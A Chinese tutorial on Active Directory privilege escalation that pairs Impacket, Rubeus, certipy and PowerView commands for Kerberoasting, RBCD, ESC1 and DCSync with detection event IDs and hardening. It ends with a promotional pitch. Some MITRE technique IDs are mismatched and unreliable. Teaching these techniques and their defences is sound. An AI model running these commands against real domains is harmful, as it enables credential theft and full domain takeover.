域权限提升：普通域用户到域控的多条提权链路梳理

免责声明本文所有技术内容仅用于授权红蓝对抗、授权渗透测试、安全学习研究。禁止在未授权企业 AD 域环境执行任何提权、凭证抓取、ACL 篡改、票据伪造操作未授权访问、篡改 Windows 域环境属于违法行为。全部案例均来自自建靶场与公开护网复盘请勿直接在生产环境复现攻击。目录1. 前言普通域用户到底拥有哪些默认权限2. 链路一Kerberos 协议系列提权攻击2.1 Kerberoasting烤烤攻击 T1558.0032.2 AS‑REP RoastingT1558.0042.3 Shadow Credentials 影子凭证攻击3. 链路二AD 对象 ACL 访问控制列表滥用实战出现频率最高3.1 WriteDacl 权限给自己授予 DCSync 复制权限3.2 GenericWrite / GenericAll 高危权限3.3 WriteOwner 所有者权限接管对象4. 链路三各种委派权限滥用4.1 非约束委派 Unconstrained Delegation4.2 约束委派 Constrained Delegation4.3 RBCD 基于资源的约束委派Resource‑Based Constrained Delegation✅普通域用户可打5. 链路四AD CS 活动目录证书服务提权 ESC 系列5.1 ESC1 证书模板配置错误5.2 ESC8 NTLM 中继到证书服务 Web 接口6. 链路五GPO 组策略对象滥用提权7. 链路六强制认证 NTLM 中继攻击PetitPotam / Coerce8. 链路七历史经典域提权 CVE 漏洞8.1 MS14‑068 CVE‑2014‑6324 Kerberos PAC 漏洞8.2 CVE‑2022‑26923 ADCS 计算机账号提权9. 链路八凭证抓取 横向移动间接拿到域控权限9.1 抓取域管理员登录服务器内存凭证9.2 GPP MS14‑025 SYSVOL 读取 Groups.xml10. 靶场完整实战普通域用户多条攻击路径对比11. 真实护网案例复盘低权限账号 4 小时拿下域控完整链路12. BloodHound 快速寻找提权路径的查询语句汇总13. 蓝队检测方案每条提权链路对应的安全日志事件 IDSIEM 狩猎关键字示例14. AD 域生产环境统一加固清单15. 高频面试考点整理16. 全文总结如何系统学习网络安全一、网络安全黑客学习路线二、网络安全教程视频三、网络安全CTF实战案例四、网络安全面试题摘要在内网渗透、护网红蓝对抗当中攻击者往往最先拿到的仅仅是一个普通域用户账号。没有本地管理员权限没有域管理员权限但是依靠 AD 域配置错误、Kerberos 协议特性、证书服务缺陷、ACL 权限委派不当等条件存在大量链路可以从普通域用户一路提升至域控制器权限接管整个 Active Directory 域。很多安全学习者只会零散记忆单个漏洞无法梳理完整攻击链路不知道每一条提权路径所需要的前置条件、利用限制、工具命令分不清哪些攻击需要本地管理员、哪些攻击只需要普通域用户身份就可以完成。本文把主流提权链路做系统性梳理分为 Kerberos 协议类攻击、AD ACL 权限滥用攻击、委派权限滥用、AD CS 证书服务提权、组策略 GPO 滥用、NTLM 中继与强制认证、历史 CVE 漏洞提权、凭证抓取横向提权八大模块。每条链路讲解原理、前置条件、实战命令、工具、攻击链、蓝队检测方式、加固方案同时包含真实护网完整攻击案例、BloodHound 查询语句、面试高频考点。读完本篇文章可以完整建立域提权知识体系快速在真实环境判断可以走哪条攻击路径。MITRE ATTCK 映射T1068 权限提升、T1558 Kerberos 票据滥用、T1559.002 ACL 滥用、T1557.001 LSA 凭证转储、T1484 域策略修改、T1550 委派滥用。1. 前言普通域用户到底拥有哪些默认权限很多新手有误区认为普通域用户权限很低什么都做不了。在标准 AD 域环境任意一个普通域认证用户拥有大量默认权利很多高危攻击不需要管理员只要域身份即可发起。普通域用户默认可以执行的操作LDAP 读取几乎全部 AD 对象用户、组、计算机、GPO、SPN 信息默认可以在域内创建最多 10 个计算机机器账号MachineAccountQuota 默认值 10这是 RBCD 影子凭证攻击的重要前置条件请求任意服务账号的 TGS 服务票据Kerberoasting 攻击基础访问 SYSVOL 共享文件夹读取全部组策略文件向域控发起 LDAP、SMB、Kerberos 请求部分环境允许访问 AD CS 证书申请接口。重要区分本文所有链路分为两类✅仅普通域用户权限即可发起不需要主机本地管理员⚠️需要先拿到某台机器本地管理员权限再继续提权到域控。很多提权失败的根源没有分清攻击前置条件拿着普通域账号去打需要本地管理员的攻击浪费大量时间。2. 链路一Kerberos 协议系列提权攻击Kerberos 是 AD 域默认认证协议该系列攻击全部依赖 Kerberos 协议本身特性绝大多数只需要普通域用户权限不需要任何主机管理员权限红蓝对抗出现频率极高。2.1 Kerberoasting烤烤攻击 T1558.003原理域内账号配置 SPN 服务主体名称之后任意域用户都可以向 KDC 请求该账号的 TGS 服务票据。TGS 票据使用该服务账号 NTLM 哈希加密。攻击者拿到 TGS 票据导出 hash 字符串离线使用 hashcat 爆破如果密码强度弱直接得到服务账号明文密码。关键点不需要抓取内存不需要登录目标机器网络层面直接请求票据离线爆破。如果被爆破出来的服务账号属于高权限组域管理员、企业管理员、账号拥有 DCSync 权限直接拿下域控。前置条件✅普通域用户即可目标账号注册 SPN服务账号密码强度较弱可以被爆破。工具实战命令ImpacketLinux 攻击机python3 GetUserSPNs.py corp.local/normaluser:Passw0rd -dc-ip 192.168.10.10 -requestRubeusWindows 靶机Rubeus.exe kerberoast /outfile:kerb_hash.txt拿到 hash 之后 hashcat 爆破hashcat -m 13100 kerb_hash.txt wordlist.txt攻击链示例普通域用户 → Kerberoast 拿到 SQL 服务账号 TGS 哈希 → 爆破得到明文密码 → SQL 账号拥有 DCSync 复制权限 → secretsdump 执行 DCSync 导出全部域哈希 → 域控沦陷。蓝队检测安全日志事件 ID4769 Kerberos 服务票据请求大量异常服务票据请求。加固高权限服务账号使用高强度复杂密码密码长度大于 24 位无法离线爆破。2.2 AS‑REP RoastingT1558.004原理域账号开启选项Do not require Kerberos preauthentication不需要 Kerberos 预认证。攻击者不需要知道账号密码直接发送 AS‑REQKDC 返回 AS‑REP 响应包响应包中使用该用户 NTLM 哈希加密会话密钥。攻击者拿到数据包 hash离线爆破密码。该攻击甚至可以不需要有效域账号匿名就可以发起请求。很多老旧业务系统为兼容遗留软件错误开启该选项。前置条件✅目标账号关闭 Kerberos 预认证。实战命令 impacket GetNPUserspython3 GetNPUsers.py corp.local/ -usersfile userlist.txt -dc-ip 192.168.10.10hashcat 模式-m 18200爆破。检测事件 ID 4768预认证类型为 0 的 TGT 请求定期审计 AD 账号属性 DONT_REQ_PREAUTH。2.3 Shadow Credentials 影子凭证攻击原理AD 对象存在 msDS‑KeyCredential 属性存储对象公钥信息。如果攻击者对用户 / 计算机对象拥有GenericWrite / WriteProperty权限就可以写入攻击者可控的公钥到该属性。之后使用对应的私钥通过 PKINIT 获取该对象的 Kerberos TGT 票据不需要知道账号原始密码。如果写入域控机器账号的 msDS‑KeyCredential拿到域控机器账号 TGT机器账号拥有 DCSync 权限直接导出全部域哈希拿下域控。前置条件攻击者对目标 AD 对象拥有GenericWrite / WriteProperty权限普通域用户默认没有需要 ACL 配置错误。工具Whisker、Rubeus。# 添加影子凭证 Whisker.exe add /target:DC01$ /domain:corp.local /dc:192.168.10.10 # 使用私钥请求TGT Rubeus.exe asktgt /user:DC01$ /certificate:xxx.pfx /password:xxxx攻击链路普通域用户拥有 DC 机器账号 GenericWrite → 写入影子凭证 → 获取域控机器账号 TGT → DCSync 导出域全部凭证。蓝队检测监控 msDS‑KeyCredential 属性修改事件事件 ID4662。3. 链路二AD 对象 ACL 访问控制列表滥用实战出现频率最高AD 每一个对象用户、计算机、组、GPO、OU都存在 DACL 访问控制列表定义哪些主体拥有读写权限。企业运维经常做权限委派极易配置过度授权。很多时候只需要普通域账号因为 DACL 配置错误直接获得提权能力GitHub。3.1 WriteDacl 权限给自己授予 DCSync 复制权限DCSync 是域控制器之间同步 AD 密码哈希的协议。一个账号只要拥有两个扩展权限DS‑Replication‑Get‑Changes、DS‑Replication‑Get‑Changes‑All就可以伪装域控向真实域控请求所有账号 NTLM 哈希也就是 DCSync 攻击不需要登录域控主机。如果攻击者对域根对象拥有WriteDacl权限就可以把上面两个复制权限赋予自己控制的普通域账号。账号立刻拥有 DCSync 能力直接导出全域哈希。前置条件✅对域根对象拥有 WriteDacl 权限。PowerView 命令演示# 给普通账号ituser增加复制权限 Add‑ObjectAcl -TargetDN DCcorp,DClocal -PrincipalIdentity ituser -Rights DCSync授权完成之后直接执行 secretsdumppython3 secretsdump.py corp.local/ituser:Password192.168.10.10 -just‑dc这是护网高频高危漏洞运维委派审计人员给域根 WriteDacl 权限直接导致全域沦陷。3.2 GenericWrite / GenericAll 高危权限GenericAll完全控制GenericWrite通用写权限。当对高价值对象拥有这两个权限有多条提权路子对用户对象直接重置账号密码增加 SPN执行 kerberoasting写入影子凭证。对计算机对象写入影子凭证RBCD 攻击准备条件。对组对象把自己账号添加进域管理员组。对 GPO 对象GPO 滥用下发恶意策略前文已经详细讲解。BloodHound 查询寻找普通主体对 Domain 对象、DC 机器账号、高权限用户拥有 GenericAll/GenericWrite。3.3 WriteOwner 所有者权限接管对象AD 每个对象存在所有者属性如果攻击者拥有WriteOwner权限可以修改对象所有者为自己。成为所有者之后就可以修改 DACL给自己分配完全控制权限之后再执行各类攻击。链路示例普通账号 WriteOwner 域根对象 → 修改所有者为自己 → WriteDacl 授予 DCSync 权限 → DCSync 导出哈希。很多企业忽略 WriteOwner 风险该权限同样属于高危可滥用 ACE。4. 链路三各种委派权限滥用Kerberos 委派业务场景用于账号代表用户访问其他服务。委派配置错误红队可以滥用委派实现权限提升。4.1 非约束委派 Unconstrained Delegation原理配置非约束委派的计算机账号。当任意用户访问这台机器KDC 会把用户完整 TGT 票据发送过来保存在该机器 lsass 内存当中。⚠️前置条件攻击者必须拿到该机器本地管理员权限抓取 lsass 内存可以拿到访问本机用户的 TGT。如果域管理员登录过这台开启非约束委派服务器攻击者 dump 内存拿到域管理员 TGT直接接管域。攻击链普通域用户横向拿到开启非约束委派服务器本地管理员 → 等待域管理员登陆或者使用 PetitPotam 强制域控机器账号认证本机 → dump 内存拿到域控机器账号 TGT → DCSync 导出全部域凭证。检测事件 ID4769票据转发标志置位。4.2 约束委派 Constrained Delegation约束委派限制账号可以代理访问的服务列表。分为两种协议转换开启TRUSTED_TO_AUTH_FOR_DELEGATION风险最大。攻击者控制拥有约束委派权限账号可以伪造任意用户访问被允许的服务。如果允许访问域控 LDAP 服务攻击者可以伪造域管理员向 LDAP 发起 DCSync。前置条件拿到委派账号密码或者哈希。4.3 RBCD 基于资源的约束委派Resource‑Based Constrained Delegation✅普通域用户可打RBCD计算机对象属性msDS‑AllowedToActOnBehalfOfOtherIdentity配置哪些账号可以代表用户访问本机资源。攻击完整条件普通域用户拥有创建机器账号权限MachineAccountQuota 不为 0域默认等于 10攻击者对目标机器对象比如域控 DC01$拥有GenericWrite / WriteProperty权限。攻击步骤普通域用户新建一个受控机器账号将新建机器账号写入域控机器账号 msDS‑AllowedToActOnBehalfOfOtherIdentity 属性使用新建机器账号请求票据代表域管理员身份访问域控 LDAP执行 DCSync 导出全部域哈希。RBCD 是非常经典的提权路径不需要任何主机本地权限只需要 AD 对象 ACL 写权限。工具 impacket addcomputer getST# 创建机器账号 python3 addcomputer.py corp.local/normaluser:Passw0rd -computer-name HACK$ -computer-pass Qwe123456 # 设置RBCD属性 python3 rbcd.py -dc‑ip 192.168.10.10 -delegate‑to DC01$ -delegate‑from HACK$ corp.local/normaluser:Passw0rd # 获取模拟域管理员的服务票据 python3 getST.py -spn ldap/DC01.corp.local -impersonate Administrator corp.local/HACK$:Qwe123456拿到票据之后设置环境变量执行 secretsdump 完成 DCSync。5. 链路四AD CS 活动目录证书服务提权 ESC 系列AD CS 微软证书服务很多企业部署用于域内设备证书颁发。大量错误模板配置衍生 ESC1‑ESC14 攻击大部分攻击只需要普通域用户身份护网当中出现频率极高。5.1 ESC1 证书模板配置错误前置条件✅普通域用户证书模板开启SubjectAlternativeName(SAN)申请者可以自定义证书主题普通域用户拥有该模板注册 Enroll 权限。攻击原理普通用户申请证书的时候SAN 字段指定域管理员账号CA 服务器返回一张代表域管理员身份的证书。攻击者使用证书通过 PKINIT 协议拿到域管理员 TGT 票据接管域。工具certipy‑ad。certipy req -u normalusercorp.local -p Passw0rd -ca CORP‑CA -template VulnTemplate -subject SAN:userAdministratorcorp.local拿到 pfx 证书请求 TGT 票据之后 DCSync。5.2 ESC8 NTLM 中继到证书服务 Web 接口ESC8 不需要模板错误。使用 PetitPotam 强制域控机器账号向攻击者主机做 NTLM 认证攻击者开启中继服务器把 NTLM 认证中继到 AD‑CS 的http://ca/certsrv证书申请接口拿到域控机器账号证书。机器账号自带 DCSync 权限直接导出全域哈希。条件CA 服务器开启 HTTP 证书申请端点网络允许 NTLM 访问该接口。攻击链普通域用户权限 → Coerce 强制域控认证我方主机 → NTLM 中继到 certsrv 拿到 DC 机器证书 → PKINIT 获取 DC TGT → DCSync。6. 链路五GPO 组策略对象滥用提权上一篇文章详细完整讲解 GPO 滥用这里做链路简要梳理。攻击条件普通域账号对链接到 Domain Controllers OU 的 GPO 拥有GenericWrite / GenericAll权限。攻击链路✅普通域用户拥有 GPO 编辑权限 → SharpGPOAbuse 下发 GPO 即时计划任务 → 域控 5 分钟组策略刷新SYSTEM 执行恶意命令 → 添加账号到域管理员组或者 dump 凭证拿下域控。注意如果 GPO 仅仅链接业务服务器 OU只能拿下业务服务器还需要二次横向移动才到域控。衍生攻击Write‑gPLink 权限投毒把恶意 GPO 链接到域控 OU。7. 链路六强制认证 NTLM 中继攻击PetitPotam / CoercePetitPotam、DFSCoerce是强制认证协议漏洞。普通域用户权限即可向远程服务器发送 MS‑EFSRPC / DFS 请求强制目标主机主动回连攻击者控制机器发起 NTLM 认证。本身该漏洞不是直接提权漏洞是一个 “身份诱饵”经常作为各类攻击的前置环节配合 ESC8强制域控回连我方NTLM 中继到 AD‑CS 获取 DC 证书配合非约束委派强制域控机器账号访问开启非约束委派服务器TGT 被抓取配合 SMB 中继把 NTLM 中继到其他主机 SMB 服务获取本地管理员。关键点PetitPotam 只是诱导认证单独使用无法直接提权必须搭配后面中继链路完成完整攻击。命令示例 impacket petitpotampython3 petitpotam.py 192.168.10.20(攻击机IP) 192.168.10.10(域控IP)8. 链路七历史经典域提权 CVE 漏洞这类属于微软历史漏洞没有打补丁环境可以直接普通域用户提权域控现在生产环境大多已经修复靶场经常见到。8.1 MS14‑068 CVE‑2014‑6324 Kerberos PAC 漏洞漏洞原理普通域用户可以伪造高权限 PAC申请 TGT 票据直接提升域管理员权限。适用未打 KB3011780 补丁的旧 Windows 域控。工具 ms14‑068生成伪造票据导入内存完成提权。8.2 CVE‑2022‑26923 ADCS 计算机账号提权普通域用户创建机器账号篡改机器账号 dnsHostName 属性伪装域控主机向 AD‑CS 申请域控证书拿到证书后 DCSync。需要部署 AD CS未打对应系统补丁。9. 链路八凭证抓取 横向移动间接拿到域控权限这一类链路不能纯靠普通域网络权限完成需要先拿到某一台 Windows 主机本地管理员权限抓取内存凭证再横向到域控。内网渗透当中最常用的现实路径。9.1 抓取域管理员登录服务器内存凭证攻击链路普通域用户 → 拿到业务服务器本地管理员权限 → 该服务器上存在域管理员登录会话 → 使用 mimikatz、lsass 转储工具抓取 lsass 进程内存导出域管理员 NTLM 哈希 → PTH 哈希传递wmiexec/psexec 登录域控制器。很多企业域管理员习惯登录业务服务器运维造成凭证泄露这是真实护网当中最高概率拿下域控的路径。风险现代 Windows 开启 LSA 保护会加大 dump lsass 难度。9.2 GPP MS14‑025 SYSVOL 读取 Groups.xml✅普通域用户即可读取 SYSVOL 共享读取 Groups.xml 解密密码。如果里面保存域管理员密码直接拿到明文登录域控。现状大部分环境已经打补丁但老旧遗留 xml 文件依然存在。10. 靶场完整实战普通域用户多条攻击路径对比靶场环境corp.local域控 DC01 (192.168.10.10)攻击者账号 normaluser普通域用户无本机管理员。攻击链路前置条件是否需要本地管理员成功率Kerberoast高权限账号配置 SPN、密码弱否中依赖爆破成功AS‑REP Roast账号关闭预认证否低现在少见RBCD对 DC 机器账号 GenericWriteMAQ0否高条件满足直接利用WriteDacl 域根对象对域根 WriteDacl否高直接授予 DCSyncGPO 滥用可写 GPO 链接 Domain Controllers OU否高等待组策略刷新ESC1 AD‑CS错误证书模板普通用户可注册否高ESC8PetitPotam部署 AD‑CS 开启 certsrv 接口否高影子凭证对 DC 机器账号 GenericWrite否高非约束委派滥用拿到委派服务器本地管理员是中dump lsass 抓取域管凭证拿到业务服务器本地管理员域管登录过是很高现实护网第一名靶场渗透顺序建议拿到普通域账号之后第一步 BloodHound 导入数据优先找 ACL 类漏洞、AD‑CS 漏洞、GPO 漏洞其次做 Kerberoast 爆破最后寻找横向机器抓取内存凭证。11. 真实护网案例复盘低权限账号 4 小时拿下域控完整链路某中型企业护网红蓝对抗事件。红队通过外网 Web 漏洞拿到一台办公工作站 Webshell提权到本机普通域用户 normaluser没有本机管理员权限上传 SharpHound 采集 AD 数据导入 BloodHound 分析 AD 关系图分析结果发现两点风险AD CS 存在 ESC1 漏洞模板 UserTemplate 允许普通用户注册支持自定义 SAN同时发现另外一条备选路径Helpdesk 组账号对业务基线 GPO 拥有 GenericWrite但是 GPO 只链接业务服务器 OU不能直接打域控。优先选择 ESC1 路径使用 certipy 工具normaluser 账号申请证书SAN 指定域管理员 AdministratorCA 返回合法域管理员身份 pfx 证书使用证书 PKINIT 请求 TGT 票据导入票据执行 DCSync直接从域控制器导出全部域账号 NTLM 哈希获取域管理员哈希wmiexec 登录域控主机完成全域接管。根因总结AD CS 证书模板配置错误给全部域用户 Enroll 注册权限开启 SAN 替代名称长期没有审计 AD CS 证书模板安全配置没有监控异常证书申请行为没有定期运行 BloodHound 类工具审计 ACL 风险。整改修复 ESC1 证书模板移除普通用户注册权限开启 CA 证书申请审计日志定期 AD 权限审计。12. BloodHound 快速寻找提权路径的查询语句汇总拿到普通域账号采集 SharpHound 数据之后直接运行下面预定义查询快速定位提权链路。Find Shortest Paths to Domain Admins【最重要】寻找从当前账号到域管理员组最短攻击路径直接看完整攻击链Find Kerberoastable Users可 Kerberoast 爆破账号Find Users with AS‑REP Roastable accountsAS‑REP 高危账号Find GPOs with Dangerous ACLs危险 ACL 的 GPOFind OUs with Write‑GPLink rightsWrite‑gPLink 权限 OUAll AD CS Templates vulnerable to ESC1ESC1 风险证书模板Find principals with DCSync rights已经拥有 DCSync 权限账号Find RBCD relationshipsRBCD 配置关系。实战建议优先看最短攻击路径BloodHound 会直接画出完整攻击链路告诉你需要走哪一条提权。13. 蓝队检测方案每条提权链路对应的安全日志事件 ID防御 AD 提权攻击域控制器必须开启目录服务对象审计 SACL否则大量 ACL 修改事件不会生成日志。攻击技术关键安全事件 ID日志说明Kerberoasting4769异常大量 TGS 服务票据请求AS‑REP Roasting4768预认证类型等于 0 的 TGT 请求Shadow Credentials 影子凭证4662修改 msDS‑KeyCredential 属性WriteDacl 授予 DCSync 权限4662域根对象 DACL 被修改RBCD 修改 msDS‑AllowedToActOnBehalfOfOtherIdentity4662计算机对象属性修改GPO 对象篡改滥用5138、4663GPO 修改SYSVOL 文件写入ESC1 证书申请4886、4887证书模板注册、证书颁发事件DCSync 行为4662DS‑Replication‑Get‑Changes 事件PetitPotam 强制认证5140网络共享对象访问Defender for IdentityDID内置告警可疑 DCSync、可疑 Kerberoasting、异常证书申请、异常组策略修改可以极大降低检测工作量。SIEM 狩猎关键字示例#狩猎DCSync行为 EventID4662 AND Properties contains DS‑Replication‑Get‑Changes‑All #狩猎影子凭证属性修改 EventID4662 AND AttributeID133135 #狩猎异常证书颁发 EventID4887应急处置要点发生域提权沦陷不能仅仅修改被攻陷账号密码。判断攻击链路是票据攻击、ACL 篡改还是证书KRBTGT 账号密码必须修改两次黄金票应急标准处置撤销恶意颁发证书清理被篡改的 AD 对象 DACL、属性所有域内账号重置密码审计全部 GPO恢复备份排查是否留下持久化后门。14. AD 域生产环境统一加固清单最小权限原则严控 ACL 委派不要随意给普通业务、运维账号授予 GenericWrite、GenericAll、WriteDacl、WriteOwner 权限非必要不委派域根对象权限。定期使用 BloodHound 审计 AD 全部对象 DACL。Kerberos 安全加固禁止业务账号关闭 Kerberos 预认证所有服务账号 SPN 账号使用 24 位以上高强度随机密码抵御 Kerberoasting 离线爆破限制 MachineAccountQuota 机器账号创建数量不需要就设置为 0阻断 RBCD 攻击基础条件。AD‑CS 证书服务加固审计全部证书模板关闭不必要 SAN 替代名称功能严格控制模板 Enroll 注册权限不需要 HTTP cersrv 接口直接关闭缓解 ESC8 风险开启 CA 证书申请审计监控异常证书颁发行为。GPO 组策略安全管控关键域控 OU 链接 GPO 仅允许域管理员组编辑开启 SYSVOL 文件夹文件审计定期备份 GPO清理 SYSVOL 遗留 GPP Groups.xml 文件。域管理员运维规范域管理员账号禁止登录普通业务服务器、办公工作站防止 lsass 内存凭证泄露建立 Tier 分层运维模型。开启 LSA 保护防止 lsass 进程被轻易转储。域控制器全面开启审计策略开启目录服务对象访问审计 SACL开启 Kerberos 认证审计日志集中上传 SIEM 平台。部署 Defender for Identity 做域行为检测。域控服务器及时安装 Windows 安全补丁修复 PetitPotam、各类 CVE 域提权漏洞。15. 高频面试考点整理哪些提权攻击仅仅普通域用户就可以完成不需要主机本地管理员Kerberoasting、AS‑REP Roasting、RBCD条件满足、ESC1 ESC8 AD‑CS 攻击、GPO 滥用对应 GPO 权限、WriteDacl 域根对象、影子凭证、PetitPotam 强制认证。DCSync 攻击需要什么权限不需要登录域控主机吗需要两个 AD 复制扩展权限 DS‑Replication‑Get‑Changes、DS‑Replication‑Get‑Changes‑All不需要登录域控主机LDAP 协议直接完成哈希同步读取。RBCD 攻击前置条件是什么攻击者对目标计算机对象拥有 GenericWrite/WriteProperty域环境 MachineAccountQuota 允许普通用户创建机器账号。Kerberoasting 和 AS‑REP Roasting 区别Kerberoasting请求 TGS 票据目标账号拥有 SPN必须先有效域身份AS‑REP Roasting请求 AS‑REP账号关闭预认证可以匿名发起。Shadow Credentials 影子凭证攻击原理对 AD 对象拥有写权限写入攻击者可控公钥 msDS‑KeyCredential 属性使用私钥 PKINIT 获取该对象 TGT 票据不需要原始账号密码。ESC1 漏洞原理属于什么服务AD CS 活动目录证书服务证书模板允许申请者自定义 SAN 主题替代名称普通用户申请证书冒充域管理员。PetitPotam 可以直接提权域控吗不能仅仅是强制目标机器回连发起 NTLM 认证需要配合中继ESC8/SMB 中继完成完整攻击。拿到普通域账号BloodHound 优先看哪一项查询Find Shortest Paths to Domain Admins最短路径到域管理员直接梳理攻击链路。域管理员登录业务服务器会带来什么风险会在业务服务器 lsass 内存留下域管理员凭证如果攻击者拿到该服务器本地管理员权限可以 dump 内存抓取域管理员哈希直接横向接管域控。AD 域沦陷之后应急为什么 KRBTGT 账号需要修改两次密码KRBTGT 密钥用于加密全部 TGT 票据旧密钥生成的黄金票据仍然有效修改两次密码彻底作废全部旧票据。16. 全文总结本文梳理了从普通域用户到域控制器主流完整提权链路分为协议攻击、ACL 滥用、委派滥用、AD‑CS 证书、GPO 组策略、强制认证中继、历史 CVE 漏洞、凭证抓取横向八大类别。很多高危提权链路不需要获取主机本地管理员仅凭普通域账号身份依靠 AD 配置错误就能够拿下域控这也是红蓝对抗当中最需要重视的风险点。真实渗透流程拿到普通域账号优先 SharpHound 采集 AD 数据BloodHound 分析最短攻击路径判断当前环境满足哪条攻击链路前置条件不要盲目逐个尝试漏洞。ACL 权限委派、AD‑CS 证书模板错误、GPO 权限下放、RBCD 条件配置是现在护网出现频率最高的高危配置缺陷远多于老旧 CVE 漏洞。蓝队防御不能只依靠打补丁大量攻击利用 Windows 合法协议功能补丁无法修复必须依靠最小权限配置、定期审计 AD 对象 DACL、开启完整审计日志、部署域行为检测。应急处置 AD 域沦陷仅仅修改被入侵账号密码远远不够要根据攻击链路清理 AD 篡改对象、撤销恶意证书、轮换 KRBTGT 密钥完成完整处置。技术声明全部域提权技术仅限授权靶场、授权红蓝对抗使用严禁未授权操作企业生产 AD 域。如何系统学习网络安全网络安全作为数字时代的核心技术基石已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。构建稳固的网络安全能力是一个体系的工程需要从夯实基础理论出发持续深化到攻防对抗与应急响应的实战层面。如果你是准备学习网络安全黑客或者正在学习我可以把我自用的360独家内部资料分享给你包含以下内容你应该能用得上①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】